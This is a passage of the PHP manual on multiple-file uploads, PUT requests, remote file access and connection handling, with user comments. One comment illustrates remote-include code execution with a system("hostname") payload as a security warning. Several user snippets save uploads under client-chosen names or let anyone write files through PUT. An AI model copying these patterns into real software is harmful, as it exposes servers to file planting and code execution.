Error Messages Explained
Uploading multiple files
Handling file uploads


Uploading multiple files

Multiple files can be uploaded using different name for input.

It is also possible to upload multiple files simultaneously and have the information organized automatically in arrays for you. To do so, you need to use the same array submission syntax in the HTML form as you do with multiple selects and checkboxes:

Example #1 Uploading multiple files

<form action="file-upload.php" method="post" enctype="multipart/form-data">
  Send these files:<br />
  <input name="userfile[]" type="file" /><br />
  <input name="userfile[]" type="file" /><br />
  <input type="submit" value="Send files" />
</form>

When the above form is submitted, the arrays $_FILES['userfile'], $_FILES['userfile']['name'], and $_FILES['userfile']['size'] will be initialized (as well as in $HTTP_POST_FILES for PHP versions prior to 4.1.0). When register_globals is on, globals for uploaded files are also initialized. Each of these will be a numerically indexed array of the appropriate values for the submitted files.

For instance, assume that the filenames /home/test/review.html and /home/test/xwp.out are submitted. In this case, $_FILES['userfile']['name'][0] would contain the value review.html, and $_FILES['userfile']['name'][1] would contain the value xwp.out. Similarly, $_FILES['userfile']['size'][0] would contain review.html's file size, and so forth.

$_FILES['userfile']['name'][0], $_FILES['userfile']['tmp_name'][0], $_FILES['userfile']['size'][0], and $_FILES['userfile']['type'][0] are also set.

Warning

Since PHP 5.2.12, the max_file_uploads configuration setting acts as a limit on the number of files that can be uploaded in one request. You will need to ensure that your form does not try to upload more files in one request than this limit.

User Contributed Notes

timspeelman at live dot nl 18-Nov-2011 03:48
The cleanest way to rearrange the $_FILES

<?php
function rearrange( $arr ){
    foreach( $arr as $key => $all ){
        foreach( $all as $i => $val ){
            $new[$i][$key] = $val;
        }
    }
    return $new;
}
?>
lugae at gmx dot ch 03-Aug-2011 02:55
Multiple upload might not work if you use a table for displaying your form inputs when <form> element is inside the <table> element. In this case only the first file will be uploaded.

Put the <form> element outside the <table> element to get it to work.
contato at dgmike dot com dot br 19-Jul-2011 11:33
I prefer something like this!

<?php
public function arrayImages ( &$file_post )
{
    if( empty( $file_post ) ) {
        return $file_post;
    }
    if( 'array'!==gettype($file_post['name']) ) {
        return $file_post;
    }
    $keys = array_keys($file_post['name']);
    $file_array = array();
    foreach ($keys as $key) {
       foreach ($file_post as $res=>$item) {
           $file_array[$key][$res] = $item[$key];
       }
   }
   return $file_array;
}
?>
leehowarth1 at live dot co dot uk 02-Jun-2011 11:04
How to handle multiple $_FILES is quite easy i would use continue and build a further array for error messages to be displayed for output to the user, this is very good as say if you accept 4 of the 10 files the user uploads u can show 6 messages stating there file extensions are not allowed and then say a few was uploaded.

<?php

   $uploaded = 0;
   $message = array();

   foreach ($_FILES['image']['name'] as $i => $name) {

        if ($_FILES['image']['error'][$i] == 4) {
            continue;
        }

        if ($_FILES['image']['error'][$i] == 0) {

             if ($_FILES['image']['size'][$i] > 99439443) {
                $message[] = "$name exceeded file limit.";
                continue;
             }

            /*
             * Check File Extension
             * Move  File
             */

             $uploaded++;
        }
   }

   echo $uploaded . ' files uploaded.';

   foreach ($message as $error) {
      echo $error;
   }

?>

Enjoy!
sque 15-May-2011 12:23
This a solution, using php closures (version >= 5.3), to convert the weird indexes schema of $_FILES. Very useful in case you have multiple indexes in the name of the html input element (e.g name="form1[set1][file1][]"), or if you just want to handle multiple files per element.

<?php
/**
 * Fix the $_FILES order by converting from wierd schema
 * [firstel]["name"][subel][0], [firstel]["size"][subel][0] ... [firstel]["error"][subel][0]
 *
 * to a more straightforward one.
 * [firstel][subel][0]["name"], [firstel][subel][0]["size"] ... [firstel][subel][0]["error"]
 *
 * @author Sque
 */
$fix_files_keys = function($files) use (& $fix_files_keys)
{
    if (isset($files['name'], $files['tmp_name'], $files['size'], $files['type'], $files['error'])){

        // Multiple values for post-keys indexes
        $move_indexes_right = function($files) use(& $move_indexes_right)
        {
            $results = array();
            foreach($files['name'] as $index => $name) {
                $reordered = array(
                    'name' => $files['name'][$index],
                    'tmp_name' => $files['tmp_name'][$index],
                    'size' => $files['size'][$index],
                    'type' => $files['type'][$index],
                    'error' => $files['error'][$index],
                );

                // If this is not leaf do it recursivly
                if (is_array($name))
                    $reordered = $move_indexes_right($reordered);

                $results[$index] = $reordered;
            }
            return $results;
        };
        return $move_indexes_right($files);
    }

    // Re order pre-keys indexes
    array_walk($files, function(&$sub) use(& $fix_files_keys) {
        $sub = $fix_files_keys($sub);
    });
    return $files;
};
?>
Corey Ballou 25-Mar-2010 01:10
Here is a function to fix the indices of a multi-dimensional for easier parsing when dealing with file uploads.  It takes a single $_FILES field array as a parameter and separates each individual uploaded file by numeric key.  This allows for iterating like:

<?php
fixFilesArray($_FILES['array_of_files']);
foreach ($_FILES['array_of_files'] as $position => $file) {
    // should output array with indices name, type, tmp_name, error, size
    var_dump($file);
}
?>

Here's the code:

<?php
/**
 * Fixes the odd indexing of multiple file uploads from the format:
 *
 * $_FILES['field']['key']['index']
 *
 * To the more standard and appropriate:
 *
 * $_FILES['field']['index']['key']
 *
 * @param array $files
 * @author Corey Ballou
 * @link http://www.jqueryin.com
 */
function fixFilesArray(&$files)
{
    $names = array( 'name' => 1, 'type' => 1, 'tmp_name' => 1, 'error' => 1, 'size' => 1);

    foreach ($files as $key => $part) {
        // only deal with valid keys and multiple files
        $key = (string) $key;
        if (isset($names[$key]) && is_array($part)) {
            foreach ($part as $position => $value) {
                $files[$position][$key] = $value;
            }
            // remove old key reference
            unset($files[$key]);
        }
    }
}
?>
christiaan at baartse dot nl 23-Feb-2010 08:13
After trying dozens of ways that are supposed to fix the wonkyness of the $_FILES array I didn't find any that could work with a input name like: userfile[christiaan][][][is][gaaf][]

So I came up with this class
<?php
/**
 * A class that takes the pain out of the $_FILES array
 * @author Christiaan Baartse <christiaan@baartse.nl>
 */
class UploadedFiles extends ArrayObject
{
    public function current() {
        return $this->_normalize(parent::current());
    }

    public function offsetGet($offset) {
        return $this->_normalize(parent::offsetGet($offset));
    }

    protected function _normalize($entry) {
        if(isset($entry['name']) && is_array($entry['name'])) {
            $files = array();
            foreach($entry['name'] as $k => $name) {
                $files[$k] = array(
                    'name' => $name,
                    'tmp_name' => $entry['tmp_name'][$k],
                    'size' => $entry['size'][$k],
                    'type' => $entry['type'][$k],
                    'error' => $entry['error'][$k]
                );
            }
            return new self($files);
        }
        return $entry;
    }
}
?>

This allows you to access a file uploaded using the following inputtype
<input type="file" name="userfile[christiaan][][][is][gaaf][]" />
like
<?php
$files = new UploadedFiles($_FILES);
var_dump($files['userfile']['christiaan'][0][0]['is']['gaaf'][0]);
// or
foreach($files['userfile']['christiaan'][0][0]['is']['gaaf'] as $file) {
    var_dump($file);
}
?>
thomas dot hebinck at digionline dot de 26-Jan-2010 02:27
HTML5 defines <input type="file" multiple="true" name="files[]"> for uploading multiple files (implemented in Firefox 3.6 and Chrome 4 so far).
jess at semlabs dot co dot uk 03-Mar-2009 12:32
If you try and upload files with multi-dimensional names like this:

<input type="file" name="submission[screenshot]" />
<input type="file" name="other[dem][][img][]" />

You will get an unexpected format like this:

<?php
array(
    'submission' => array
        (
            'name' => array( 'screenshot' => 'monster_wallpaper.jpg' ),
            'type' => array( 'screenshot' => 'image/jpeg' ),
            'tmp_name' => array( 'screenshot' => '/tmp/php48lX2Y' ),
            'error' => array( 'screenshot' => 0 ),
            'size' => array( 'screenshot' => 223262 ),
        ),
....
?>

You can use the following function to re-format the array recursively in the usual format:

<?php
function format_files_array( $files, $name = null, &$new = false, $path = false ){
    $names = array( 'name' => 'name', 'type' => 'type', 'tmp_name' => 'tmp_name', 'error' => 'error', 'size' => 'size' );

    foreach( $files as $key => &$part )
    {
        $key = ( string ) $key;
        if( in_array( $key, $names ) )
            $name = $key;
        if( !in_array( $key, $names ) )
            $path[] = $key;
        if( is_array( $part ) )
            $part = format_files_array( $part, $name, $new, $path );
        elseif( !is_array( $part ) )
        {
            $current =& $new;
            foreach( $path as $p )
                $current =& $current[$p];
            $current[$name] = $part;
            unset( $path );
            $name = null;
        }
    }

    return $new;
}
?>
tom at nono dot be 18-Mar-2008 07:04
Handling multiple uploads can be a lot more user friendly with a little help of javascript and form posting to iFrame...
To make it all a little bit more edible, you can use AJAX and divs to provide loader gifs etc...

Work with separate forms; note the target of each form = csr. It is the ID of an iFrame somewhere on the page. I call it CSR as short for Client-Server-Request.

Also note the hidden input formId that we will use in the php upload handler.

disable submitting the form using onsubmit="return false"...

Finally a button outside the form structure starting a javascript function onclick="upload(document.form_0, document.loader_0)"

<form onsubmit="return false" id="file_0" name="file_0" action="upload.php" target="csr" enctype="multipart/form-data" method="post" style="margin:px; padding:0px">
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
            <td>File 1:</td>
            <td>
                <input type="hidden" id="formId" name="formId" value="0" />
                <input type="hidden" id="MAX_FILE_SIZE" name="MAX_FILE_SIZE" value="1000000" />
                <input type="file" id="userFile" name="userFile" class="invulveld100pct" />
            </td>
            <td>
                <div id="loader_0"></div>
            </td>
        </tr>
    </table>
</form>
<form onsubmit="return false" id="file_1" name="file_1" action="upload.php" target="csr" enctype="multipart/form-data" method="post" style="margin:px; padding:0px">
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
            <td>File 2:</td>
            <td>
                <input type="hidden" id="formId" name="formId" value="1" />
                <input type="hidden" id="MAX_FILE_SIZE" name="MAX_FILE_SIZE" value="1000000" />
                <input type="file" id="userFile" name="userFile" class="invulveld100pct" />
            </td>
            <td>
                <div id="loader_0"></div>
            </td>
        </tr>
    </table>
</form>
<input type="button" onclick="upload(document.form_0, document.loader_0)" />
<iframe id="csr" name="csr" height="1" width="1" style="border:0px none"></iframe>

<!--//The javascript://-->

<script type="javascript">
function upload(form, loader){
    //only do this if the form exists
    if(form){
        //display a loadbar
        loader.innerHTML = 'loading.gif';
        form.submit();
    }
}
</script>

The php upload handler upload.php
Remember, your page will not refresh because the post is sent to your CSR iFrame.

<?php
//there are enough examples around to handle the upload...
//the only important difference is the error reporting and the starting of the next form upload...
//presume $uploadOk is a boolean that is true if the upload succeeds; false if it fails...
//note the use of "parent" in the outputted javascript... the script is outputted into the CSR iFrame... therefor it needs parent to acces dom objects and javascript of the main page.

$currentFormId = $_POST['formId'];
$nextFormId = $_POST['formId'] + 1;

echo "<script type=\"javascript\">";

//change the content of your loader div to a desired image
if($uploadOk){
    echo "parent.loader_{$currentFormId}.innerHTML = 'uploadOk.gif';";
} else {
    echo "parent.loader_{$currentFormId}.innerHTML = 'uploadNotOk.gif';";
}

//submit the next form... the javascript function will only perform it if the form exists.
echo "parent.upload(document.form_{$nextFormId}, document.loader_{$nextFormId});";

echo "</script>";

?>

This is just a quick draft of how to handle multiple files this way and I'm sure you would need to optimize the workflow to fit your needs, but the benifit of working this way is although your user still chooses multiple files, they are in fact posted one by one... This means your MAX_FILE_SIZE is determined for each file separately as opposed to the combined size of all files in one post.

I hope this is a contribution...
hotmail.com[at]notdefix 27-Sep-2007 07:47
With multiple file uploads

post_max_size: the total amount of data posted by the client (all files, and all other form field)

upload_max_filesize: the maximum size of 1 single file. (just like <input type="hidden" name="MAX_FILE_SIZE" value="..."/>)

so, with the directives:
 post_max_size 25M
 upload_max_filesize 2M

you can send 12 files of up to 2 MB and use up to 1 MB for your additional form-values.

As long as you read only a single copy of 1 file into memory, the memory_limit directive can be held reasonable small as well.
captlid at yahoo dot com 23-Feb-2007 06:08
I noticed that the manual does not have a basic processing script for testing purposes to process multiple file uploads. It took me about an hour to figure this out so I figured it should help some newbie.

Also on windows, the OS does not care if you use backslashes and front slashes while writing up a directory path. So for compatibility with *nix just keep it as a foward slash.

(Tested with php5, php4, apache 1.3x and 2x, on winxp pro, win2k pro and win98se and freebsd.)

The script is kept simple for illustration purposes. Dont use it in a production environment.

The form

<form method="post" action="" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="500000">
<?
for($i = 1; $i <= $_POST[totalfiles]; $i++) { echo $i.'. <input type="file" name="photos[]"><br>'."\n"; }
?>
<input type="submit" name="sendfiles" value="Send Files"></form>

The processing script, for simplicities sake in the same file.

if ($_POST[sendfiles]) {
print_r($_POST); echo '<pre>'; print_r($_FILES); echo '</pre>';

$uploaddir = getcwd().'/photos/; //a directory inside
foreach ($_FILES[photos][name] as $key => $value) {
$uploadfile = $uploaddir . basename($_FILES[photos][name][$key]);
//echo $uploadfile;
if (move_uploaded_file($_FILES['photos']['tmp_name'][$key], $uploadfile)) { echo $value . ' uploaded<br>'; }
}
}
Bob Doe 08-Aug-2005 02:17
Here is a the simple test form I needed, pieced togther from 2 or 3 posts in the documentation elsewhere.

<html>
<head>
<title>HTML Form for uploading image to server</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<p>Pictures:
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="file" name="pictures[]" />
<input type="submit" value="Send" />
</p>
</form>
<?php
//places files into same dir as form resides
foreach ($_FILES["pictures"]["error"] as $key => $error) {
   if ($error == UPLOAD_ERR_OK) {
       echo"$error_codes[$error]";
       move_uploaded_file(
         $_FILES["pictures"]["tmp_name"][$key],
         $_FILES["pictures"]["name"][$key]
       ) or die("Problems with upload");
   }
}
?>
</body>
</html>
28-Jul-2005 07:50
re: phpuser's comment

I found that if instead of the form structure at the top of the page use one like this:

<form action="file-upload.php" method="post" enctype="multipart/form-data">
  Send these files:<br />
  <input name="userfile1" type="file" /><br />
  <input name="userfile2" type="file" /><br />
  <input type="submit" value="Send files" />
</form>

Notice the names are unique and not an array element.  Now the array is structured more like phpuser would like. I did this and used...

foreach ($_FILES as $file) { ... }

without issue.
sgoodman_at_nojunk_immunetolerance.org 17-Jun-2005 07:03
Re: phpuser_at_gmail's comment, a simpler way to have create that data structure is to name your HTML file inputs different names. If you want to upload multiple files, use:
<input type=file name=file1>
<input type=file name=file2>
<input type=file name=file3>
etc...
Each field name will be a key in the $_FILES array.
bishop 02-Jun-2005 11:27
Elaboration on phpuser at gmail dot com reArrayFiles() function (which assumed sequential, integer keys and uni-dimensional), this function will work regardless of key and key depth:

<?php
// information grouper
function groupFileInfoByVariable(&$top, $info, $attr) {
    if (is_array($info)) {
        foreach ($info as $var => $val) {
            if (is_array($val)) {
                groupFileInfoByVariable($top[$var], $val, $attr);
            } else {
                $top[$var][$attr] = $val;
            }
        }
    } else {
        $top[$attr] = $info;
    }

    return true;
}

// usage
$newOrdering = array ();
foreach ($_FILES as $var => $info) {
    foreach (array_keys($info) as $attr) {
        groupFileInfoByVariable($newOrdering, $info[$attr], $attr);
    }
}

// $newOrdering holds the updated order
?>
phpuser at gmail dot com 26-May-2005 08:09
When uploading multiple files, the $_FILES variable is created in the form:

Array
(
    [name] => Array
        (
            [0] => foo.txt
            [1] => bar.txt
        )

    [type] => Array
        (
            [0] => text/plain
            [1] => text/plain
        )

    [tmp_name] => Array
        (
            [0] => /tmp/phpYzdqkD
            [1] => /tmp/phpeEwEWG
        )

    [error] => Array
        (
            [0] => 0
            [1] => 0
        )

    [size] => Array
        (
            [0] => 123
            [1] => 456
        )
)

I found it made for a little cleaner code if I had the uploaded files array in the form

Array
(
    [0] => Array
        (
            [name] => foo.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpYzdqkD
            [error] => 0
            [size] => 123
        )

    [1] => Array
        (
            [name] => bar.txt
            [type] => text/plain
            [tmp_name] => /tmp/phpeEwEWG
            [error] => 0
            [size] => 456
        )
)

I wrote a quick function that would convert the $_FILES array to the cleaner (IMHO) array.

<?php

function reArrayFiles(&$file_post) {

    $file_ary = array();
    $file_count = count($file_post['name']);
    $file_keys = array_keys($file_post);

    for ($i=0; $i<$file_count; $i++) {
        foreach ($file_keys as $key) {
            $file_ary[$i][$key] = $file_post[$key][$i];
        }
    }

    return $file_ary;
}

?>

Now I can do the following:

<?php

if ($_FILES['upload']) {
    $file_ary = reArrayFiles($_FILES['ufile']);

    foreach ($file_ary as $file) {
        print 'File Name: ' . $file['name'];
        print 'File Type: ' . $file['type'];
        print 'File Size: ' . $file['size'];
    }
}

?>
Common Pitfalls
PUT method support
Handling file uploads


PUT method support

PHP provides support for the HTTP PUT method used by some clients to store files on a server. PUT requests are much simpler than a file upload using POST requests and they look something like this:

PUT /path/filename.html HTTP/1.1

This would normally mean that the remote client would like to save the content that follows as: /path/filename.html in your web tree. It is obviously not a good idea for Apache or PHP to automatically let everybody overwrite any files in your web tree. So, to handle such a request you have to first tell your web server that you want a certain PHP script to handle the request. In Apache you do this with the Script directive. It can be placed almost anywhere in your Apache configuration file. A common place is inside a <Directory> block or perhaps inside a <VirtualHost> block. A line like this would do the trick:

Script PUT /put.php

This tells Apache to send all PUT requests for URIs that match the context in which you put this line to the put.php script. This assumes, of course, that you have PHP enabled for the .php extension and PHP is active. The destination resource for all PUT requests to this script has to be the script itself, not a filename the uploaded file should have.

With PHP you would then do something like the following in your put.php. This would copy the contents of the uploaded file to the file myputfile.ext on the server. You would probably want to perform some checks and/or authenticate the user before performing this file copy.

Example #1 Saving HTTP PUT files

<?php
/* PUT data comes in on the stdin stream */
$putdata = fopen("php://input", "r");

/* Open a file for writing */
$fp = fopen("myputfile.ext", "w");

/* Read the data 1 KB at a time
   and write to the file */
while ($data = fread($putdata, 1024))
  fwrite($fp, $data);

/* Close the streams */
fclose($fp);
fclose($putdata);
?>

User Contributed Notes

micronix at gmx dot net 10-Sep-2010 07:43
Hello PHP World After many Hours of worryness :=)

I have found the Solution for Resume or Pause Uploads
In this Code Snippet it is the Server Side not Client on any Desktop Programm you must use byte ranges to calculate the uploaded bytes and missing of total bytes.

Here the PHP Code

<?php
$CHUNK = 8192;

        try {
            if (!($putData = fopen("php://input", "r")))
                throw new Exception("Can't get PUT data.");

            // now the params can be used like any other variable
            // see below after input has finished

            $tot_write = 0;
            $tmpFileName = "/var/dev/tmp/PUT_FILE";
            // Create a temp file
            if (!is_file($tmpFileName)) {
                fclose(fopen($tmpFileName, "x")); //create the file and close it
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "w")))
                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            } else {
                // Open the file for writing
                if (!($fp = fopen($tmpFileName, "a")))
                    throw new Exception("Can't write to tmp file");

                // Read the data a chunk at a time and write to the file
                while ($data = fread($putData, $CHUNK)) {
                    $chunk_read = strlen($data);
                    if (($block_write = fwrite($fp, $data)) != $chunk_read)
                        throw new Exception("Can't write more to tmp file");

                    $tot_write += $block_write;
                }

                if (!fclose($fp))
                    throw new Exception("Can't close tmp file");

                unset($putData);
            }

            // Check file length and MD5
            if ($tot_write != $file_size)
                throw new Exception("Wrong file size");

            $md5_arr = explode(' ', exec("md5sum $tmpFileName"));
            $md5 = $md5sum_arr[0];
            if ($md5 != $md5sum)
                throw new Exception("Wrong md5");
        } catch (Exception $e) {
            echo '', $e->getMessage(), "\n";
        }
?>
yaogzhan at gmail dot com 14-Dec-2005 04:01
PUT raw data comes in php://input, and you have to use fopen() and fread() to get the content. file_get_contents() is useless.

The HTTP PUT request MUST contain a Content-Length header to specify the length (in bytes) of the body, or the server will not be able to know when the input stream is over. This is the common problem for many to find the php://input empty if no such header available.

This should make PUT work properly on win32 using PHP5.1.1 and apache2.
warhog at warhog dot net 20-Sep-2005 02:11
Here's my solution on my Note below

The .htacces-File

Options FollowSymLinks

RewriteEngine on
RewriteBase !!!The Path of your PUT-Upload-Folder, relative to the DocumentRoot!!!
RewriteRule ^index\.php$ - [L]
RewriteRule ^(.*)$ index.php?url=$1 [L]

index.php:
<?php

if ($_SERVER['REQUEST_METHOD'] == "PUT")
{ $f = fopen(basename($_SERVER['REQUEST_URI']), "w");
  $s = fopen("php://input", "r");
  while($kb = fread($s, 1024))
  { fwrite($f, $kb, 1024); }
  fclose($f);
  fclose($s);
  Header("HTTP/1.1 201 Created"); }
elseif ($_SERVER['REQUEST_METHOD'] == "GET")
{ readfile(basename($_SERVER['REQUEST_URI'])); }

?>

Testes with Apache 2 and PHP 5, php as a module (win32)
warhog at warhog dot net 20-Sep-2005 01:22
NOTE: The <Script>-Directive can not be placed in .htaccess files.

So if you're having shared webspace and no access to the apache-configuration file you will have little chance to make something like this work.

But you can solve the problem, using mod_rewrite (for Apache) - for further information see the documentation at http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html
gherson 15-Aug-2005 02:16
A Case Study:  To set up publishing with Netscape 7.2 Composer to Apache/PHP, no need to use CGI (which I tried unsuccessfully for too long) or to alter Apache's httpd.conf.  I needed only to click Publish As, fill in put2disk.php as the filename (where its contents are the below), and fill in that file's dir as the "Publishing address".
XAMPP 1.4.14: Apache/2.0.54 (Win32) mod_ssl/2.0.54 OpenSSL/0.9.7g PHP/5.0.4.

<? // filename: put2disk.php.

//file_put_contents ("get_def.out", print_r (get_defined_vars(), TRUE)); // debugging

// Two slurp methods: (a) didn't work, (b) did.
//$stdin_rsc = fopen("php://input", "r");
//$putdata='';
//while ($putdata .= fread($stdin_rsc, 1024)); // a. Hangs the "Publishing..." dialog.
//while (!feof($stdin_rsc)) $putdata.=fread($stdin_rsc, 8192); // b. Worked, but file_get_contents is faster.
//fclose($stdin_rsc);

// All that's nec:
$putdata=file_get_contents('php://input'); // Not php://stdin! (When the ability to see error messages isn't available, the doc (this manual page) needs to be more accurate.)

file_put_contents("stdin.out",$putdata);
?>
gomez_NOSPAM_pixline_dot_net 18-Apr-2004 12:59
Trying to capture a PUT stream into a single variable seems not to be allowed, probably because of the non presence of some kind of EOF. In this way save a PUT request into a database isn't easy.

The only way I find would be output to a cache file, then either insert filename into db or read again its content and place it in some kind of query.
mikeb at mikebanahan dot com 03-Nov-2003 02:41
I have spent a lot of time trying to make PUT work with Apache 2.0.40. I have not yet been able to find any way of making the Script directive invoke php via mod_php, the only way has been to have a file called example.cgi and invoke it via CGI, with the file starting
#!/usr/bin/php
so the PHP interpreter is invoked through the CGI mechanism and not as a module.

If there IS a way of making it work 'right' I'd love to know! After six hours of messing around, I've settled for CGI. The error messages in the apache error log are significantly misleading and the whole thing has been an exercise in frustration.

Attempts to use AddHandler and all 'normal' ways of trying to persuade Apache to do this have been fruitless. It does seem as if PUT can only be handled by CGI invocation.
php at dreier dot nu 13-Feb-2003 10:21
I can only make it work when I am using PHP as CGI, not as an Apache module.
I am using the version of PHP/Apahce that is shipped with Debian/testing.

You have to load the action_module, but not the put_module in Apache config.
Uploading multiple files
Using remote files
Handling file uploads


Using remote files

As long as allow_url_fopen is enabled in php.ini, you can use HTTP and FTP URLs with most of the functions that take a filename as a parameter. In addition, URLs can be used with the include(), include_once(), require() and require_once() statements (since PHP 5.2.0, allow_url_include must be enabled for these). See Supported Protocols and Wrappers for more information about the protocols supported by PHP.

Note:

In PHP 4.0.3 and older, in order to use URL wrappers, you were required to configure PHP using the configure option --enable-url-fopen-wrapper .

Note:

The Windows versions of PHP earlier than PHP 4.3 did not support remote file accessing for the following functions: include(), include_once(), require(), require_once(), and the imagecreatefromXXX functions in the GD and Image Functions extension.

For example, you can use this to open a file on a remote web server, parse the output for the data you want, and then use that data in a database query, or simply to output it in a style matching the rest of your website.

Example #1 Getting the title of a remote page

<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
    echo "<p>Unable to open remote file.\n";
    exit;
}
while (!feof ($file)) {
    $line = fgets ($file, 1024);
    /* This only works if the title and its tags are on one line */
    if (preg_match ("@\<title\>(.*)\</title\>@i", $line, $out)) {
        $title = $out[1];
        break;
    }
}
fclose($file);
?>

You can also write to files on an FTP server (provided that you have connected as a user with the correct access rights). You can only create new files using this method; if you try to overwrite a file that already exists, the fopen() call will fail.

To connect as a user other than 'anonymous', you need to specify the username (and possibly password) within the URL, such as 'ftp://user:password@ftp.example.com/path/to/file'. (You can use the same sort of syntax to access files via HTTP when they require Basic authentication.)

Example #2 Storing data on a remote server

<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
    echo "<p>Unable to open remote file for writing.\n";
    exit;
}
/* Write the data here. */
fwrite ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
fclose ($file);
?>

Note:

You might get the idea from the example above that you can use this technique to write to a remote log file. Unfortunately that would not work because the fopen() call will fail if the remote file already exists. To do distributed logging like that, you should take a look at syslog().

User Contributed Notes

mail at 3v1n0 dot net 28-Apr-2008 06:18
I've changed the function below to support the 4xx errors and the 30x redirects... This is a partial implementation yet but it's sufficient for the normal usage.

I've made a recursive implementation (if a 30x redirect is found), but it could be easily reverted to an iterative way (simple put something like while (!empty $url) at the beginning, and set the $url to an empty string if no 3xx/4xx status are found).

<?
function http_get($url, $range = 0)
{
    $url_stuff = parse_url($url);
    $port = isset($url_stuff['port']) ? $url_stuff['port'] : 80;

    $fp = @fsockopen($url_stuff['host'], $port);

    if (!$fp)
        return false;

    $query  = 'GET '.$url_stuff['path'].'?'.$url_stuff['query']." HTTP/1.1\r\n";
    $query .= 'Host: '.$url_stuff['host']."\r\n";
    $query .= 'Connection: close'."\r\n";
    $query .= 'Cache-Control: no'."\r\n";
    $query .= 'Accept-Ranges: bytes'."\r\n";
    if ($range != 0)
        $query .= 'Range: bytes='.$range.'-'."\r\n"; // -500
    //$query .= 'Referer: http:/...'."\r\n";
    //$query .= 'User-Agent: myphp'."\r\n";
    $query .= "\r\n";

    fwrite($fp, $query);

    $chunksize = 1*(1024*1024);
    $headersfound = false;

    while (!feof($fp) && !$headersfound) {
        $buffer .= @fread($fp, 1);
        if (preg_match('/HTTP\/[0-9]\.[0-9][ ]+([0-9]{3}).*\r\n/', $buffer, $matches)) {
            $headers['HTTP'] = $matches[1];
            $buffer = '';
        } else if (preg_match('/([^:][A-Za-z_-]+):[ ]+(.*)\r\n/', $buffer, $matches)) {
            $headers[$matches[1]] = $matches[2];
            $buffer = '';
        } else if (preg_match('/^\r\n/', $buffer)) {
            $headersfound = true;
            $buffer = '';
        }

        if (strlen($buffer) >= $chunksize)
            return false;
    }

    if (preg_match('/4[0-9]{2}/', $headers['HTTP']))
        return false;
    else if (preg_match('/3[0-9]{2}/', $headers['HTTP']) && !empty($headers['Location'])) {
        $url = $headers['Location'];
        return http_get($url, $range);
    }

    while (!feof($fp) && $headersfound) {
        $buffer = @fread($fp, $chunksize);
        echo $buffer;
        ob_flush();
        flush();
    }

    $status = fclose($fp);

    return $status;
}
?>
geoffrey at nevra dot net 06-May-2006 03:53
Really, you should not send headers terminated by \n - it's not per-rfc supported by a HTTP server.

Instead, send as \r\n which is what the protocol specifies, and that regular expression would be matched anywhere, so match for something like /^Content-Length: \d+$/i on each header-line (headers are terminated by the regular expression  /(\r\n|[\r\n])/ - so preg_split on that. Remeber to use the appropriate flags, I can't be arsed to look them up)
heck at fas dot harvard dot edu 14-Sep-2004 12:06
The previous post is part right, part wrong. It's part right because it's true that the php script will run on the remote server, if it's capable of interpreting php scripts. You can see this by creating this script on a remote machine:
<?php
echo system("hostname");
?>
Then include that in a php file on your local machine. When you view it in a browser, you'll see the hostname of the remote machine.

However, that does not mean there are no security worries here. Just try replacing the previous script with this one:
<?php
echo "<?php system(\"hostname\"); ?>";
?>
I'm guessing you can figure out what that's gonna do.

So yes, remote includes can be a major security problem.
geoffrey at nevra dot net 04-Aug-2003 05:25
ok, here is the story:

I was trying to download remote images, finding urls throught apache indexs with regexps and fopen()ing them to get the datas. It didn't work. I thought about binary considerations. Putting the 'b' in the second argument of fopen didn't help much, my browser still didn't want to display the images. I finally understood by watching the datas i was getting from the remote host: it was an html page ! hey, i didn't know apache sent html pages when requesting images, did you ?
the right way is then to send an http request via fsockopen. Here comes my second problem, using explode("\n\n", $buffer); to get rid of the headers. The right way is to get the value of the Content-Lenght field and use it in substr($buffer, -$Content-Lenght);

finally, here is my own function to download these files:

<?php
function http_get($url)
{

    $url_stuff = parse_url($url);
    $port = isset($url_stuff['port']) ? $url_stuff['port'] : 80;

    $fp = fsockopen($url_stuff['host'], $port);

    $query  = 'GET ' . $url_stuff['path'] . " HTTP/1.0\n";
    $query .= 'Host: ' . $url_stuff['host'];
    $query .= "\n\n";

    fwrite($fp, $query);

    while ($tmp = fread($fp, 1024))
    {
        $buffer .= $tmp;
    }

    preg_match('/Content-Length: ([0-9]+)/', $buffer, $parts);
    return substr($buffer, - $parts[1]);
?>

}

ho, maybe you'll say i could have parsed the page to get rid of the html stuff, but i wanted to experience http a little ;)
PUT method support
Connection handling
Features


Connection handling

Internally in PHP a connection status is maintained. There are 3 possible states:

  • 0 - NORMAL
  • 1 - ABORTED
  • 2 - TIMEOUT

When a PHP script is running normally the NORMAL state, is active. If the remote client disconnects the ABORTED state flag is turned on. A remote client disconnect is usually caused by the user hitting his STOP button. If the PHP-imposed time limit (see set_time_limit()) is hit, the TIMEOUT state flag is turned on.

You can decide whether or not you want a client disconnect to cause your script to be aborted. Sometimes it is handy to always have your scripts run to completion even if there is no remote browser receiving the output. The default behaviour is however for your script to be aborted when the remote client disconnects. This behaviour can be set via the ignore_user_abort php.ini directive as well as through the corresponding php_value ignore_user_abort Apache httpd.conf directive or with the ignore_user_abort() function. If you do not tell PHP to ignore a user abort and the user aborts, your script will terminate. The one exception is if you have registered a shutdown function using register_shutdown_function(). With a shutdown function, when the remote user hits his STOP button, the next time your script tries to output something PHP will detect that the connection has been aborted and the shutdown function is called. This shutdown function will also get called at the end of your script terminating normally, so to do something different in case of a client disconnect you can use the connection_aborted() function. This function will return TRUE if the connection was aborted.

